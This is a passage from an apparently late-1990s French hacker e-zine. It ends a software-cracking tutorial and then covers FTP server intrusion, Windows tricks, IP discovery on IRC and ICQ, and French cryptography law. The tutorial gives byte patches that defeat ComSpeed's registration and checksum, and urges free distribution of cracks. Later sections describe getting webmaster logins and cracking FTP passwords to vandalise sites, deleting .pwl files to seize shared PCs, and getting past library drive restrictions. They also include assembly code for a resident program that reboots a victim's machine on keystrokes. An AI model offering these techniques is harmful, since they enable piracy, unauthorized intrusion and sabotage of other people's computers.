pour peu que vous connaissiez un peu l'Assembleur. Vous pourrez modifier le programme,
lui faire faire ce que VOUS voulez! Cette méthode s'applique très bien aux programmes
nécessitants un mot de passe mais aussi et surtout aux "Démos" bridées qui ne vous
permettent pas de sauvegarder un fichier, de l'imprimer, ou bien limitées dans le temps
ou avec un "nagscreen"...
Cette méthode peut paraitre assez effrayante aux yeux des débutants en raison de la taille
importante du listing obtenu de certains programmes Windows (désassembler la démo de Quark
XPress donne un fichier de plus de 50 Mo que même Word6 n'arrivera pas a ouvrir:-).
Cependant, les schémas de protections sont souvent situés dans une toute petite zone
du programme presque toujours facilement localisable et n'en sortent que très rarement
en raison de la limitation des registres du CPU.
Bien sur, pour de meilleurs résultats, la combinaison de ces deux méthodes ne peut etre
que bénéfique.
Comme ComSpeed ne fait que 53 Ko, nous utiliserons le "Dead Listing". De plus, il n'existe
pratiquement pas de cours en Français sur cette technique.
--------------------------------------------------------------------------------
N'utilisez PAS W32Dasm7 ou W32Dasm8!!!!
J'utilise ici W32Dasm6 parce que suivant le programme que vous avez a désassembler (16bits
ou 32bits...), si vous utilisez differentes versions de W32Dasm vous n'obtiendrez JAMAIS
le même résultat.
Si vous désassemblez ComSpeed avec W32Dasm6 vous obtiendrez beaucoup de 'String Datas
References'(cf ci-dessous), tandis que vous n'en n'obtiendrez AUCUNES avec W32Dasm7 ou 8.
De plus W32Dasm n'est pas un très bon désassembleur et même son schéma de protection est
ridicule. Je vous expliquerai très prochainement comment le craquer.
--------------------------------------------------------------------------------
Bon assez de bla-bla, place au boulot:
2/ EXECUTION DU CRACK
CodeFalse_
CodeOk_
VIRUS_
Cliquez sur 'CodeOK_' et W32Dasm vous envoie directement à cette routine qui commence à
l'adresse 0011.0271. Juste après, on trouve la procédure CodeFalse_ en 0011.02A4.
On trouve un joli saut conditionnel (je 029E) qui nous enverra sur la procedure "CodeFALSE_"
si le mot de passe est incorrect.
On le change:
Maintenant le programme ira sur "CodeOK_" quand le mot de passe sera faux.
Vous vous souvenez de "VIRUS_" que nous avions trouvé dans la liste des 'String References
Datas'??
C'est un CheckSum. Le programme additionne les bytes et vérifie le résultat.
Facile a contourner:
Nous avons changé un 74 (je) par un 75 (jne) donc nous allons modifier le 33 qui le suit:
Nous avions:
:0011.0269 7533
On le change avec:
:0011.0269 7532
Au départ nous avions 74+33 et maintenant 75+32: ça donne le même résultat. On se fiche pas
mal de modifier l'adresse du saut puis le programme n'exécutera jamais ce saut (sauf si
vous entrez le bon mot de passe)
Essayez de vous enregistrer (Shareware/Enter Code...). Entrez votre nom et n'importe quel
mot de passe puis appuyez sur OK. Là encore, ça marche.
Maintenant quittez ComSpeed puis relancez-le: Il n'est plus enregistré.
En fait nous ne nous sommes débarassé que de la procédure de vérification du mot de passe
entré au clavier. Le progamme vérifie au démarrage le mot de passe (qu'il lit dans
ComSpeed.ini) avec le bon mot de passe.
Etait-ce donc nécessaire de craquer cette partie? Non, mais ça ne nous a pris que 5mn et
maintenant si vous ouvrez ComSpeed.ini, vous saurez de qu'elle manière le programme y
inscrit votre nom et mot de passe:
SwName=_Votre_Nom
SwCode=_Votre_Mot_De_Passe
On étant ses pieds sous le bureau, on remonte les manches, on s'allume une cigarette....et
on se concentre:
Vous avez peut-etre remarqué (n'est-ce pas?) que quand vous vous êtez enregistré il y a
quelques minutes celui-ci s'est tranformé en:
Et oui, 'Shareware' disparait de la barre des menus quand le programme est enregistré.
Execellent!
Pour créer une Barre des Menus, un programme Windows doit appeller la fonction
USER!DrawMenuBar. Cliquez sur elle (dans la liste) plusieurs fois pour localiser tous
les appels à celle-ci dans ComSpeed.
On ne trouve que deux appels.
On voit que USER!DeleteMenu va effacer la barre des menus et tout de suite derrière,
DrawMenuBar va en créér une autre toute jolie sans le mot 'Shareware'.
Au dessus, on trouve encore un saut conditionel (Jne 1793) qui, si 04D0 est différent de 0
nous fera sauter par dessus ces deux fonctions.
On en déduit tout simplement que si 'byte ptr [04D0] = 0' alors le programme est
'Registered'.
Si vous cherchez 'cmp byte ptr [04D0], 00' dans le listing de ComSpeed, vous le trouverez
10 fois.
Cherchez: 04D0
Devons nous changer le 'jne 0D64' avec un 'je 0D64'? Non. N'oubliez pas le checksum et
le fait que vous devriez changer les 10 sauts conditionels suivants les 10 'cmp byte
ptr [04D0], 00'.
Exemple:
Nous avions:
Maintenant "al:=0" et l'instruction "mov [04D0], al" donnera la valeur 0 (donc 'Registered')
dans "04D0".
ComSpeed ne s'appercevra jamais de ces modifications et le résultat de "cmp byte
ptr [04D0], 00" sera toujours VRAI et ceci tout au long du programme.
3/ CONSEILS
Attention: Certains programmes (de plus en plus) détectent si SoftIce est chargé et
risquent de vous planter ou rebooter. Mais d'autres (ou les mêmes une fois qu'ils se seront
débarasser de SoftIce) vous planteront si tentez vous les désassembler.
C'est le cas de SmartDraw v3.11 Win95. Si vous essayez de craquer ce programme en le traçant
avec SoftIce vous avez de grandes chances pour qu'il vous plante et soyez obligé de rebooter.
De plus il est impossible de le désassembler (toutes versions de W32Dasm confondues).
En fait, les auteurs de tels logiciels n'écrivent pas cette protection mais font appel à des
programmes de protection très couteux (EverLock, Copy Control) qu'ils intègrent à leurs
softs.
C'est généralement suffisant pour faire abandonner les petits crackers. Mais ne vous
dégonflez pas:
Vous n'avez pas besoin de SoftIce ou W32Dasm pour craquer SmartDraw. Avec un simple éditeur
hexadécimal (comme HexWorkShop) il ne vous faudra pas plus de 5mn pour le craquer à 90%.
Mais cela sera pour plus tard...ne grillez pas les étapes. Prennez et craquez des logiciels
de votre niveau (comme ComSpeed) pour l'instant.
Dès que vous aurez craqué votre programme, executez le avec SoftIce de nombreuses fois pour
être sûr de n'avoir rien oublié (en craquant à un endroit on peut déclencher ulterieurement
une autre protection "cachée"...) bref VERIFIEZ que votre crack est totalement FIABLE.
Dès que votre crack est bon, DISTRIBUEZ-LE (gratuitement evidemment) a tous ceux qui ne
peuvent pas s'acheter le programme enregitré et aussi aux crétins qui ne seraient même pas
capables de réaliser 1/10e de votre crack. Et surtout EVITEZ les trucs du genre:
-"Je vous passe ce crack mais vous n'avez pas le droit de vous en servir, c'est illégal".
ou bien:
-"Moi je crack des programmes? Oui bien sûr, mais quand je les utilises longtemps
je m'enregistre auprès de leurs auteurs".
CA VA PAS, NON??!!!
4/ LIVRES
Vous trouverez de très nombreux ouvrages sur l'informatique et le PC mais peu sont réellement
adaptés à nos besoins. En voici donc 2 particulièrement indispensables et faciles a trouver:
-Assembleur:
Pour un prix modeste de 50 balles et un format livre de poche, c'est a mon avis ce qui ce fait
de mieux pour apprendre ce merveilleux langage. Destiné au mode 32 bits, cette mise à jour
succède à "Assembleur facile" ( de P.Mercier qui avait écrit de très bons ouvrages sur le BIOS
et la programmation DOS:=) qui lui ne concernait que le 16 bits. Ils ont bien fait de
changer le titre pour cette nouvelle version! N'essayez pas de l'apprendre par coeur, vous
n'y arriverez pas. Contentez-vous de l'avoir sous la main à chaque fois que vous rencontrerez
un instruction que vous ne connaissez pas, et ça finira bien par rentrer...
-API:
"Programmation des API -Windows 95 Win32" de Richard Simon chez Simon & Schuster
Macmillan
France - coll. "Secrets d'experts" (+ CD-ROM).
Là, il vous faudra dépenser 399FF (je vous ai déjà fait économiser $11 en vous apprenant a
craquer ComSpeed!! :=) mais il vaut bien son prix car je n'en n'ai jamais trouver d'autres
aussi complets. Tout y est classé par catégorie (E/S, Menus, Boites de dialogue, registre...)
et très bien détaillé. De nombreux exemples sur le CD-ROM avec leur source. Très bien.
PS: J'allais oublier, ouvrez le fichier ComSpeed.ini et a coté des lignes suivantes
rajoutez votre nom:
SwName=Mettez_Votre_Nom
SwCode=Merci_Frog's_Print
Lancez ensuite ComSpeed et appuyez sur 'Help' - 'About' et le tour est joué...
Clad Strife
HACKER 2020
issue n°4
Disclaimer: Tout ce qui est écrit dans cet E-mag n'est sensé porté atteinte aux opinions et façons de
penser, de personne. Tout ce qui est écrit dans cet E-mag est à titre PUREMENT éducatif! Je ne
saurais être inquiété de l'utilisation de mes astuces, moi ou mon serveur en rejettons donc toutes
responsabilités! Je suis le SEUL auteur de ces articles! Vous pouvez les diffuser librement à
condition de mettre le nom de l'auteur(= Clad Strife), par ailleurs vous n'avez pas à vous faire passer
pour l'auteur de ces articles. Sachez ensuite que tout acte de piraterie informatique (même incitation à
la piraterie informatique) est susceptible de poursuites judiciaires ou d'amendes!
1/ Hacker un site par ftp (autres solutions que celles proposées dans les 2 précédentes)
2/ Astuces Windows
3/ Astuces de hacking entre autres
4/ Cryptologie
5/ Dissection d'un encrypteur (programmation en C)
6/ Savoir se protéger des commandes Netbios et des intrusions
Bon prenons 3 cas. Le premier cas, le serveur est très mal protégé. Le second cas, le serveur est
moyennemen protégé. Et puis un autre cas, celui de la page perso.
1er cas: Pour vérifier si un serveur est oui ou non bien protégé, il faut tester quelques failles qui
pourraient exister dans ce système. Alors on va prendre comme exemple, un url exemple, www.
serveur.com. donc vous voulez hacker www.serveur.com, alors vous aller taper: www.serveur.com/
stats, il se peut que celà n'aboutisse à rien, mais si ça marche alors vous pourvez vous dire, à moins
qu'il y ait un accès restreint, que ce site est relativement pas très bien protégé.
Autre vérification, ftp://ftp.serveur.com, si on vous autorise un accès à ce lien en anonyme, vérifié s'il
n'est pas restreint. si ce n'est pas le cas celà veut dire que vous pouvez rentrez par Ws_FTP sur ce site
en anonyme.
Donc vous y allez, comme ci-dessous en images. (Ici c'est un exemple avec club-internet).
Bon... Maintenant vous entrez comme login dans Profile Name et dans User ID celui d'un des
webmasters du serveur. Comment avoir leurs logins: soit dans le fichier etc/passwd ou en faisant un
traçage avec WS_PING PRO PACK (allez sur: http://www.ipswitch.com/ pour le télécharger).
Donc vous allez dans info et vous tracez le site. Ainsi pour ne pas porter préjudice à club-internet je
trace www.serveur .com, et j'ai:
Donc on a comme logins: "sarver, cpio laurent". Vous avez presque toutes les chances que ces
logins marchent. Bon ensuite vous rentrez en anonyme par Ws_FTP avec ces logins, comme indiqué
plus haut. Si il est mal protégé vous pourrez foutre votre merde.
2e cas: Bon là il faudra utiliser un peu plus du DOS... Mais sachez que ça sera pas facile. Bon... La
base est la même, sauf que cette fois-ci vous devrez peut-être user d'un crackpass pour ftp (tel que
"VcrackFTP"). Ou encore d'une commande sous DOS; Explications:
Autre cas: Bon il existe que sur certains serveurs (par exemple Multimania), en tapant après l'adress
du site "etc", vous tombiez sur un répertoire passwd, bien entendu crypté ou interdit. Si vous arrivez à
les décrypter le tour et joué, mais... BONNE CHANCE. Vous pouvez aussi utiliser des crackpass ftp,
ça a assez de chances de marcher... mais il faut bien connaitre sa cible, de telle sorte a avoir un max
d'informations sur elle.
AIDE: sur de nombreux serveurs il faut mettre l'adresse e-mail comme password.
AUTRE ASTUCE :Voilà... Bon avec tout ça et des cibles faciles vous y serez instantanément... autre
astuce TRES utile. faire des commandes Netbios, pour celà allez voir l'issue N° 3 des HACKER2020,
mais prenez comme cible l'IP du serveur.
2/ ASTUCES WINDOWS
- Fichiers pwl: si vous regardez bien dans le répertoire C:\WINDOWS\ vous apercevrez des fichiers .
pwl. A quoi correspondent-ils? Ben en réalité ils correspondent aux passwords des personnes qui ont
des sessions. donc si vous désirez être le seul qui puisse aller sur la bécane à papa, vous effacez le
fichier pwl, en notant bien le nom d'utilisateur qu'il y a avant. Vous redamerrez l'ordinateur sous une
session différente et vous tapez le nom d'user noté. On vous demandera de saisir un nouveau mot de
passe. Idéal pour les pc dans les bibliothèques ou au bahut. Ensuite vous restreignez l'accès dans la
session "annulée"de telle sorte à ce que personne n'aille virer les fichiers .pwl.
- Accéder aux lecteurs d'accès restreints: Dans certains lieux (lycée; bibliothèque; entreprise;
expo; etc...) qui présentent Internet, l'accès aux lecteurs est souvent bloqué (souvent pour de bonnes
raisons). Rien de plus simple pour y accéder, il vous suffit, dans le Browser, de taper dans le champs
destiné aux adresses URL le nom du lecteur que vous voulez utiliser.
Généralement c'est:
A:/ pour le lecteur de disquettes.
C:/ pour le disque dur.
D:/ pour le CD-ROM.
- Ecran Windows: Ca vous la coupe, ça, non ? Un écran caché que vous n'auriez pas vu ? Que vous
ne soupçonniez même pas ? Bah, ça arrive ! Remarquez, c'est pas qu'il soit bien utile cet écran, c'est
plutôt pour assouvir la mégalomanie des développeurs de Microsoft. Enfin, soyez pas déçus, j'vous
aurais prévenu. Tiens, si vous avez une carte son, c'est le moment de pousser à fond le volume des
vos baffles! Héhéhé !!
1. Créez un dossier sur le bureau et nommez le "New Folder"
2. renommer le "and now, the moment you've all been waiting for"
3. renommer le "we proudly present for your viewing pleasure"
4. renommer le "The Microsoft Windows 95 Product Team!"
5. double-cliquez dessus.
- Menu démarrer: Tout d'abord, je dois vous dire que changer les noms du menu démarrer et de ses
éléments n'est pas une opération dénuée de risques et qu'il vous faudra un éditeur héxadécimal sous
dos.
Faites une copie du fichier "explorer.exe" qui se trouve dans votre répertoire "Windows" dans un
autre répertoire. Ainsi, si jamais vous rencontriez un problème après la manip, vous n'aurez qu'à
remplacer celui qui se trouve dans le répertoire "Windows" par celui-ci.
Redémarrez votre ordinateur en mode Dos et lancez votre éditeur héxadécimal. Ouvrez avec ce
dernier le fichier "explorer.exe" qui se trouve dans le votre répertoire "Windows".
Attention : dans les lignes qui vont suivre, il vous sera demandé de modifier le programme "Explorer.
exe". Vous verrez que, par exemple, le texte du bouton démarrer ne se présentera pas sous la forme
"démarrer" mais sous la forme "d.é.m.a.r.r.e.r". Vous ne devrez surtout pas effacer les espaces entre
les lettres et le mot qui le remplacera ne devra pas avoir plus de lettres que le mot d'origine (Oui je
sais, c'est compliqué).
Si vous voulez que le bouton "démarrer" soit le bouton "salut", vous remplacerez "d.é.m.a.r.r.e.z" par
"s.a.l.u.t. . . ".
* Pour modifier le bouton démarrer, allez au secteur "2D59E".
* Pour modifier les éléments du menu démarrer, allez au secteur "2ADE0", vous y reconnaîtrez les
différents éléments.
Voilà, c'est enfin fini, si en redémarrant vous obtenez un message d'erreur, redémarrez sous dos et
remplacez "Explore.exe" du répertoire "Windows" par celui que vous aviez sauvegardé (si vous avez
oublié de le faire, vous êtes dans la m...).
- Menu Démarrer: Windows 95 fait parfois preuve de (très) peu de logique, en effet il faut d'abord
appuyer sur le bouton Démarrer pour arrêter son PC. Pour remédier à cela, vous pouvez créer un
raccourci vers :
"C:\WINDOWS\RUNDLL32.EXE C:\Windows\system\User.exe,ExitWindows"
et le placer par exemple sur le bureau ou où vous voulez ...
- Fichiers BMP: Vous pouvez demander au système d'afficher comme icône d'un fichier BMP
l'image réduite qu'il contient.
Lancez regedit, puis ouvrez le dossier "HKEY_CLASSES_ROOT\Paint.Picture\DefaultIcon".
Cliquez sur l'entrée "default" et modifiez sa valeur par "%1"
- Délai d'affichage du menu Démarrer: Si vous trouvez l'affichage des différents niveaux du menu
Démarrer trop lent, vous pouvez l'accélérer. Pour cela, il faut lancer Regedit. Puis ouvrir le dossier
"HKEY_CURRENT_USER\Control Panel\desktop". Cherchez dans la fenêtre de droite une entrée
nommée MenuShowDelay" ; si elle n'existe pas, créez la à partir du menu édition, "Nouveau\Valeur
Chaîne". Faites ensuite un double clic sur cette entrée et tapez une valeur comprise entre 1 et 10 (1
permet d'obtenir la vitesse la + élevée).
- Changer les icônes ou le nom de la corbeille ou du poste de travail: Lancez regedit, puis allez
dans le répertoire "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-
00AA002F954E}", cliquez deux fois dessus de façon à déplier la ligne "\default-icon". Il y a alors 3
noms : "(Default)", "Empty", "Full". A droite figure les chemins d'accès où se trouvent les icônes. En
l'occurrence "C:\Windows\system\Shell32.dll,32". Si votre fichier d'icône est un fichier "*.ico",
inscrivez simplement son chemin d'accès en double cliquant sur la valeur. Si c'est un fichier "*.dll",
inscrivez aussi son chemin d'accès mais faites le suivre d'une virgule puis du N° de l'icône. Pour
connaître le N° d'icône, depuis la fenêtre propriété d'un programme, cliquez sur l'onglet raccourci
puis sur le bouton changer d'icône. Vous visualiserez les icônes de tous les fichiers "*.dll". Le N° de
l'icône correspond à l'ordre des icônes en partant de zéro depuis la gauche. Pour changer le nom de la
corbeille, cliquez sur le répertoire indiqué plus haut et modifier le texte "Corbeille" par ce que vous
voulez en double cliquant dessus.
Idem pour le poste de travail, mais l'icône se trouve dans le dossier "HKEY_CLASSES_ROOT
\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}" et le nom à modifier est "Poste de
travail".
3/ ASTUCES DE HACKING
- L'ordinateur reboot dès que plus de 5 touches sont pressées:
(ex : Monsieur Pierre Pipol , specialiste des ovnis, veux ecrire "extraterrestre" ben juste apres le "a"
de "extraterrestre" et sans prevenir son ordinateur reboot tout seul comme un grand !!!)
Je vous propose le programme suivant (que j'ai trouve sur Internet) ... mais il faut le compiler !!!
.model tiny
.code
org 100h
INSTALL:
MOV AX,3509h
INT 21h
MOV [BXREG],BX
MOV [ESREG],ES
MOV AH,25h
MOV DX,offset NEW_INT
INT 21h
MOV DX,offset EOP
INT 27h
NEW_INT: PUSHF
INC WORD PTR CS:[COUNTER]
CMP WORD PTR CS:[COUNTER],20
JB NOCOUNTER
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH SS
PUSH SI
PUSH DI
JMP SKIP
NOCOUNTER: JMP ADIOS
SKIP:
CALL REBOOT
MOV WORD PTR CS:[COUNTER],0
POP DI
POP SI
POP SS
POP DS
POP ES
POP CX
POP BX
POP AX
ADIOS:
POPF
DB 0EAh
BXREG dw ?
ESREG dw ?
COUNTER dw 0
Ce n'est pas très difficile, sur IRC, vous tapez la commande /dns pseudo et vous allez voir dans
"Status". Si le connecté a omis de cacher celle ci, elle apparaîtra, si ce n'est pas le cas vous aurez son
nom de serveur par ex: PPP-215-48-infonie.fr, pas de panique!! ouvrez une fenêtre MS-DOS et tapez
la commande suivante :
ping -a PPP-215-48-infonie.fr
vous verrez apparaître son adresse IP.
Sur ICQ, vous allez dans votre liste de contacts, vous cliquez sur le pseudo puis sur info, si
l'utilisateur a caché son IP vous verrez apparaître dans le champs prévu à cet effet N/A, pas de
panique!! Laissez la fenêtre "info" ouverte, mettez votre ICQ sur "off line" fermez la fenêtre "info"
recliquez sur le pseudo réouvrez la fenêtre "info" et là, comme par magie, son IP devient visible. Il
existe aussi des crackers ou des sniffers pour icq qui ont la même fonction.
4/ LA CRYPTOLOGIE
La réglementation de la cryptologie
Les médias le répètent à satiété : l'Internet n'est pas sûr. Les messages peuvent être interceptés ou
même falsifiés. Pourtant, il y a un remède technique imparable : la cryptologie. Mais on se heurte au
problème de sa réglementation.
La situation actuelle
La France, patrie des Droits de l'homme, présente la particularité curieuse d'avoir une des
réglementations les plus restrictives du monde quant au droit de ses citoyens à protéger leurs secrets.
Dans la plupart des autres pays démocratiques, vous avez parfaitement le droit d'écrire votre journal
intime avec un code connu de vous seul, de chiffrer par tout moyen à votre convenance le contenu
de vos fichiers d'ordinateurs, de mettre au point avec vos correspondants privilégiés des conventions
secrètes qui font qu'eux seuls pourront vous lire, et même de brouiller vos conversations
téléphoniques avec les moyens matériels ou logiciels de votre choix. Le droit au secret, celui de
garder pour soi ce qu'on n'a pas décidé de porter à la connaissance du public, y est considéré
comme fondamental, et chacun peut l'assurer comme il l'entend. Evidemment, si une autorité
judiciaire établit que les secrets en question peuvent constituer des pièces à conviction, elle peut
mettre l'intéressé en demeure de lui communiquer leur traduction en clair, sous peine des sanctions
prévues en cas de refus.
En France, non. Il est, au départ, interdit d'écrire ou de communiquer quoi que ce soit par un moyen
secret, à moins que ce moyen ait été expressément autorisé par l'Etat.
Vous n'avez pas le droit de brouiller vos conversations par téléphone sans fil ; or, n'importe qui peut
très facilement les intercepter - c'est, bien sûr, interdit, mais les poursuites sont rarissimes, alors que
le matériel pour le faire se vend très bien, et très légalement. Vous n'avez pas le droit de transmettre
votre numéro de carte bancaire pour un télépaiement autrement qu'en clair ; or, un intrus peut le
capter et tenter de s'en servir à votre place. Vous n'avez pas le droit de chiffrer, par exemple, vos
mots de passe d'accès à votre courrier électronique conservés sur votre ordinateur ; or, il existe des
logiciels "chevaux de Troie" qui les communiquent à des pirates quand vous vous connectez sur
l'Internet, et vous en avez peut-être déjà téléchargé sans le savoir. Vous n'avez même pas le droit de
conserver votre journal, votre agenda, votre carnet d'adresses, le manuscrit de votre roman, vos
souvenirs amoureux, vos fantasmes secrets, votre correspondance la plus intime, les notes que vous
inspirent votre dernière séance chez le psychanalyste, quoi que ce soit en somme, sous une forme
que vous seul pourrez relire. Et si vous êtes avocat ou médecin, vous n'avez pas le droit de rendre
même les dossiers relevant du secret professionnel illisibles aux yeux des espions qui auraient réussi
à
se les procurer.
Ou, plus exactement, vous pouvez faire tout ou partie de cela à condition d'y être expressément
autorisé par un organisme spécialisé, le Service central de sécurité des systèmes d'information
(SCSSI), soit parce que vous en faites personnellement la demande (cela suppose le dépôt d'un
dossier qui déclenche une enquête policière, et l'issue est incertaine), soit parce que vous vous
adressez à un fournisseur dont le produit a été autorisé une fois pour toutes à l'usage général.
En pratique, le SCSSI autorise les procédés dès lors qu'il estime pouvoir les briser. Cela permet
quand même de se protéger efficacement contre les indiscrets ordinaires, qui sont très loin de
disposer des mêmes moyens qu'un service national du chiffre. Si, donc, vous n'avez pas de secrets
pour le SCSSI... ou ses collègues étrangers, le moyen le plus simple de vous protéger en toute
légalité est d'avoir recours à un moyen autorisé pour l'utilisation générale. Cependant, ces derniers
sont très peu nombreux, ou alors très discrets sur leur autorisation, en particulier sur sa durée qui ne
peut excéder cinq ans. (A vrai dire, je n'en connais pas d'autre que le mien qui fournisse
spontanément ces informations.)
Pourtant, il ne manque pas de logiciels qui chiffrent les données. Citons, par exemple, Netscape et
Internet Explorer, qui permettent des accès sécurisés à certains serveurs, divers utilitaires de
compression avec une option de chiffrement, et même les banals Word et Excel de Microsoft, dont
l'option de sauvegarde sous mot de passe constitue bel et bien un "moyen de cryptologie" aux yeux
de la loi ! Il en résulte, soit que ces logiciels ont été expressément autorisés par le SCSSI (et dans ce
cas, on aimerait connaître les références de leur autorisation et surtout la date à partir de laquelle leur
usage n'est plus autorisé), soit que leur fourniture et leur utilisation est passible de 10 000 F
d'amende par infraction, ce qui permettrait de renflouer sérieusement les finances de l'Etat... En fait, il
semble bien que la loi soit allègrement violée, avec l'accord tacite des pouvoirs publics. Le parquet
exerce avec dilligence son droit à... ne pas poursuivre. Et l'on imagine à peine le désordre que cela
ferait si le fournisseur d'un moyen autorisé s'avisait de demander en référé qu'on fasse cesser, sous
astreinte, la commercialisation et même l'usage de moyens illégaux peu ou prou concurrents du sien.
Telle qu'elle est à l'heure actuelle, la loi présente manifestement plus d'inconvénients que d'avantages.
Les autorités ont fini par s'en apercevoir, et proposent un projet tendant à l'aménager. Seulement,
cette fois-ci, la situation a changé : on ne peut plus se contenter d'un discret débat de spécialistes. Le
grand public a pris conscience, par le biais du phénomène de l'Internet, de l'importance de l'enjeu, et
doit participer à la réflexion, somme toute assez fondamentale en démocratie, sur les rapports entre
le citoyen qui veut préserver ses secrets et l'administration qui aimerait parfois les connaître.
Si la France interdit déjà pratiquement la cryptologie à ses citoyens, si d'autres pays démocratiques
(l'Union Européenne et chacun de ses pays membres, de même que les Etats-Unis et sans doute
d'autres) envisagent des modalités de réglementation, ce n'est évidemment pas par pure tyrannie. Il y
a bien un réel problème.
Les progrès de la cryptologie permettent désormais à chacun de prendre des mesures qui rendent
toute tentative de décryptage parfaitement futile. Sur le plan technique, la partie est définitivement
jouée : le bouclier a gagné face au glaive. Il est dorénavant possible de protéger ses secrets de
manière inviolable, et tout nouveau progrès de l'informatique ne fera qu'accroître l'avantage du
chiffreur sur le décrypteur.
Cela implique que la Mafia, par exemple, peut conserver sa comptabilité et ses fichiers clients et
fournisseurs sous une forme que personne, pas même les meilleurs spécialistes des meilleurs services
d'Etat, ne peut lire sans la clé. Les trafiquants de drogue peuvent prendre des commandes sans
risque. Les terroristes peuvent conspirer par téléphone ou par télématique selon des moyens qui font
de toute interception une perte de temps. Et cela, évidemment, n'est pas réjouissant.
Seulement, que faire ? A moins d'interdire l'informatique, on ne peut pas priver les criminels des
moyens techniques nécessaires. En fait, n'importe quel boy-scout avec un PC même d'occasion
dispose du matériel suffisant. L'Union soviétique avait essayé de réglementer l'accès à l'ordinateur
(ainsi qu'à tout moyen de communication, jusqu'aux photocopieuses) ; ce fut un élément décisif de sa
perte à cause des conséquences évidentes de marginalisation technologique. Personne ne peut
proposer d'aller dans ce sens.
Reste donc à proposer des nouvelles mesures, plus raisonnables, de réglementation de la cryptologie
elle-même. C'est le but du projet de loi modifiant l'article 28 de la loi du 29 décembre 1990 sur les
télécommunications, adopté par le Conseil des ministres du 3 avril 1996, modifié et adopté par
l'Assemblée nationale, le 10 mai 1996.
Le projet de loi
Le projet rend enfin libre l'usage de la cryptologie dans un certain nombre de cas. (Notons que c'est
la première fois que le mot "libre" apparaît dans un texte officiel français sur la cryptologie. On
imagine la douloureuse révolution culturelle que cela a dû impliquer dans les services concernés.)
Cependant, il ne faut pas se faire d'illusions sur la portée pratique de ce changement de vocabulaire :
si jadis, la cryptologie était interdite, sauf quand elle était autorisée, maintenant, elle est libre, sauf
quand elle est soumise à autorisation. Il n'en reste pas moins qu'il y a comme une amorce de
changement d'état d'esprit, ainsi que quelques réels progrès.
Liberté, d'abord, pour l'usage de la cryptologie à des fins d'authentification et de contrôle d'intégrité,
mais non de confidentialité : le régime passablement irréaliste qui exigeait théoriquement une
déclaration préalable à chaque application d'une fonction de hachage telle que SHA ou MD5 (voire
d'un banal checksum !) est supprimé. Désormais, on voit mal ce qui s'opposerait à une vérification
par PGP de la signature d'un correspondant étranger - la détention de PGP, comme de tout autre
moyen de cryptologie, n'est pas interdite, même si son usage à des fins de confidentialité le reste.
(Attention, toutefois, à prendre soin de le télécharger à partir d'un serveur situé dans l'Union
européenne si le projet de loi est adopté - sinon, vous risquez la prison pour importation !)
Ensuite, l'usage de la cryptologie pour assurer la confidentialité sera libre si "le moyen ou la
prestation assure des fonctions de confidentialité et n'utilise que des conventions secrètes gérées
selon les procédures et par un organisme agréé".
C'est cette disposition, les fameux "tiers de confiance" qui constitue la principale innovation du projet
de loi. (L'expression ne figure pas dans le texte du projet de loi, mais elle est d'un usage courant, et
elle figure dans l'exposé des motifs, ansi que dans la fiche d'explications du ministère délégué à la
poste, aux télécommunications et à l'espace.) Notons que la France est le premier pays au monde à
mettre en place ce genre de mécanisme, qui a fait l'objet de très vifs débats, et dont le caractère
obligatoire a jusqu'à présent été écarté partout ailleurs.
Il s'agit d'organismes (privés ou publics - en pratique, on semble s'orienter vers, par exemple, le GIE
CB, groupement d'entreprises bancaires de droit privé qui gère les cartes de crédit) agréés par
l'Etat, et chargés de gérer les clés secrètes des usagers. Ils sont tenus de conserver les clés, et de les
remettre en cas de besoin à la police ou à la justice. En dehors de ce cas, ils sont tenus au secret
professionnel.
Si leur principe peut paraître intéressant, il soulève tout de même des interrogations.
D'abord, dans quelles modalités exactes ces clés pourront-elles être communiquées, et au juste à
qui? Le projet de loi évoque deux cadres : la loi no. 91-646 du 10 juillet 1991 relative au secret des
correspondances émises par la voie des télécommunications, d'une part, les chapitres premier et II
du titre II du livre premier du Code de procédure pénale, de l'autre.
La loi no. 91-646 du 10 juillet 1991 fixe des cadres très contraignants aux interceptions de
télécommunications, qui ne peuvent être autorisées que dans deux cas :
les écoutes dites "judiciaires" qui ne peuvent être ordonnées que par le juge d'instruction, et
seulement si la peine encourue est supérieure ou égale à deux ans d'emprisonnement, et si les
nécessités de l'information l'exigent (articles 100 à 100-7 du Code de procédure pénale). Ni
le parquet, ni a fortiori un officier de police judiciaire agissant de sa propre initiative ne
peuvent les mettre en oeuvre,
les écoutes dites "administratives" qui ne peuvent être ordonnées, à titre exceptionnel et pour
des motifs graves dont la loi donne la liste, que par trois personnes en France : le Premier
ministre ou l'une des deux personnes spécialement déléguées par lui. De plus, elles sont
surveillées par une autorité administrative indépendante instituée à cet effet, la Commission
nationale de contrôle des interceptions de sécurité (CNCIS).
Bref, l'interception des télécommunications à l'insu des intéressés est une affaire grave, et pour
laquelle le législateur, après quelques embarrassantes condamnations de la France par la Cour
Européenne des Droits de l'Homme, s'est entouré de garanties sérieuses. La communication de clés
dans ce cadre semble, en principe, logique.
Cependant, il faut bien reconnaître que les garanties ne semblent pas fonctionner de manière bien
satisfaisante. Les écoutes illégales sont, de fait, très nombreuses (la CNCIS avance le chiffre de plus
de 100 000 par an) ; elles sont surtout le fait de personnes privées, mais des bavures de la part de
fonctionnaires se produisent parfois - l'affaire Schuller / Maréchal en a fourni un exemple, et on peut
craindre qu'il y en ait bien plus qui ne sont jamais portés à la connaissance du public. C'est bien là
une des justifications au recours à la cryptologie, qui devient alliée de la CNCIS.
Les références au Code de procédure pénale posent quelques problèmes. Curieusement, il n'est pas
question dans le projet de loi de ses articles 92 à 100-7, qui parlent des transports, perquisitions,
saisies et interceptions de télécommunications réalisés par le magistrat instructeur. Les références
sont les articles 53 à 74, qui traitent des crimes et délits flagrants, et 75 à 78, qui régissent les
enquêtes préliminaires. Dans les deux cas, l'officier de police judiciaire peut agir d'office. Or, les
garanties voulues par le législateur pour des perquisitions dans ce cadre risquent d'être inopérantes,
dans la mesure où ce n'est pas le domicile de l'intéressé qui est perquisitionné.
En principe, toute perquisition doit avoir lieu en présence de la personne chez qui on perquisitionne;
(article 57 du CPP). Dans le cas d'une entreprise de presse ou de communication audiovisuelle, elle
ne peut être effectuée que par un magistrat (art. 56-2) ; s'il s'agit du domicile ou du cabinet d'un
avocat, elle doit, en plus, se faire en présence du bâtonnier ou de son délégué, et s'il s'agit du cabinet
